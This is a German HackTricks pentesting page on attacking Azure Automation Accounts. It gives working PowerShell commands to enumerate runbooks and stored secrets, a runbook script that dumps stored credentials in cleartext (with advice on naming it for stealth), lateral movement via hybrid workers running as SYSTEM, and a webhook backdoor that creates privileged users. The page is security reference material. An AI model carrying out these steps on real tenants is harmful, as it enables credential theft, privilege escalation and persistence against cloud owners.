Az - Automation Account

Unterstützen Sie HackTricks

Grundlegende Informationen

Aus den Dokumenten: Azure Automation bietet einen cloudbasierten Automatisierungs-, Betriebssystemaktualisierungs- und Konfigurationsdienst, der ein konsistentes Management in Ihrer Azure- und Nicht-Azure-Umgebung unterstützt. Es umfasst Prozessautomatisierung, Konfigurationsmanagement, Update-Management, gemeinsame Funktionen und heterogene Funktionen.

Diese sind wie "geplante Aufgaben" in Azure, die es Ihnen ermöglichen, Dinge (Aktionen oder sogar Skripte) auszuführen, um die Azure-Umgebung zu verwalten, zu überprüfen und zu konfigurieren.

Run As-Konto

Wenn das Run as-Konto verwendet wird, wird eine Azure AD Anwendung mit selbstsigniertem Zertifikat erstellt, ein Dienstprinzipal erstellt und die Mitwirkenden-Rolle für das Konto im aktuellen Abonnement zugewiesen (viele Berechtigungen). Microsoft empfiehlt die Verwendung einer Verwalteten Identität für das Automatisierungskonto.

Dies wird am 30. September 2023 entfernt und durch Verwaltete Identitäten ersetzt.

Runbooks & Jobs

Runbooks ermöglichen es Ihnen, beliebigen PowerShell-Code auszuführen. Dies könnte von einem Angreifer missbraucht werden, um die Berechtigungen des angehängten Prinzipals zu stehlen (falls vorhanden). Im Code von Runbooks könnten auch sensible Informationen (wie Anmeldeinformationen) gefunden werden.

Wenn Sie die Jobs lesen können, tun Sie es, da sie die Ausgabe des Laufs enthalten (potenziell sensible Informationen).

Gehen Sie zu Automatisierungskonten --> <Automatisierungskonto auswählen> --> Runbooks/Jobs/Hybrid-Worker-Gruppen/Watcher-Aufgaben/Berechtigungen/Variablen/Zertifikate/Verbindungen

Hybrid Worker

Ein Runbook kann in einem Container innerhalb von Azure oder in einem Hybrid Worker (nicht-azure Maschine) ausgeführt werden. Der Log Analytics-Agent wird auf der VM bereitgestellt, um sie als Hybrid Worker zu registrieren. Die Hybrid-Worker-Jobs werden als SYSTEM unter Windows und als Konto nxautomation unter Linux ausgeführt. Jeder Hybrid Worker ist in einer Hybrid-Worker-Gruppe registriert.

Daher, wenn Sie wählen können, ein Runbook in einem Windows Hybrid Worker auszuführen, werden Sie beliebige Befehle in einer externen Maschine als System ausführen (schöne Pivot-Technik).

Kompromittierter Zustandskonfiguration (SC)

Aus den Dokumenten: Azure Automation State Configuration ist ein Azure-Konfigurationsverwaltungsdienst, der es Ihnen ermöglicht, PowerShell Desired State Configuration (DSC) Konfigurationen für Knoten in jeder Cloud oder in Rechenzentren vor Ort zu schreiben, zu verwalten und zu kompilieren. Der Dienst importiert auch DSC-Ressourcen und weist Konfigurationen den Zielknoten zu, alles in der Cloud. Sie können auf Azure Automation State Configuration im Azure-Portal zugreifen, indem Sie unter Konfigurationsverwaltung Zustandskonfiguration (DSC) auswählen.

In diesen Konfigurationen könnten sensible Informationen gefunden werden.

RCE

Es ist möglich, SC zu missbrauchen, um beliebige Skripte auf den verwalteten Maschinen auszuführen.

Az - State Configuration RCE

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Erstellen eines Runbooks

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Extrahieren von Anmeldeinformationen und Variablen, die in einem Automatisierungskonto definiert sind, mithilfe eines Runbooks

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Sie könnten dasselbe tun, indem Sie ein vorhandenes Runbook modifizieren und dies über die Weboberfläche tun.

Schritte zur Einrichtung einer automatisierten Erstellung eines hochprivilegierten Benutzers

1. Initialisieren eines Automatisierungskontos

  • Erforderliche Aktion: Erstellen Sie ein neues Automatisierungskonto.

  • Spezifische Einstellung: Stellen Sie sicher, dass "Azure Run As-Konto erstellen" aktiviert ist.

2. Runbook importieren und einrichten

  • Quelle: Laden Sie das Beispiellaufbuch von MicroBurst GitHub Repository herunter.

  • Erforderliche Aktionen:

  • Importieren Sie das Runbook in das Automatisierungskonto.

  • Veröffentlichen Sie das Runbook, um es ausführbar zu machen.

  • Fügen Sie dem Runbook einen Webhook hinzu, um externe Auslöser zu aktivieren.

3. AzureAD-Modul konfigurieren

  • Erforderliche Aktion: Fügen Sie das AzureAD-Modul dem Automatisierungskonto hinzu.

  • Zusätzlicher Schritt: Stellen Sie sicher, dass alle Azure Automation-Module auf ihre neuesten Versionen aktualisiert sind.

4. Berechtigungszuweisung

  • Zuweisung von Rollen:

  • Benutzeradministrator

  • Abonnementinhaber

  • Ziel: Weisen Sie diese Rollen dem Automatisierungskonto für erforderliche Berechtigungen zu.

5. Bewusstsein für möglichen Zugriffsverlust

  • Hinweis: Beachten Sie, dass die Konfiguration einer solchen Automatisierung dazu führen kann, die Kontrolle über das Abonnement zu verlieren.

6. Auslösen der Benutzererstellung

  • Lösen Sie den Webhook aus, um einen neuen Benutzer durch Senden einer POST-Anfrage zu erstellen.

  • Verwenden Sie das bereitgestellte PowerShell-Skript und stellen Sie sicher, dass Sie die Variable $uri durch Ihre tatsächliche Webhook-URL ersetzen und die Variable $AccountInfo mit dem gewünschten Benutzernamen und Passwort aktualisieren.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referenzen

Unterstützen Sie HackTricks

Last updated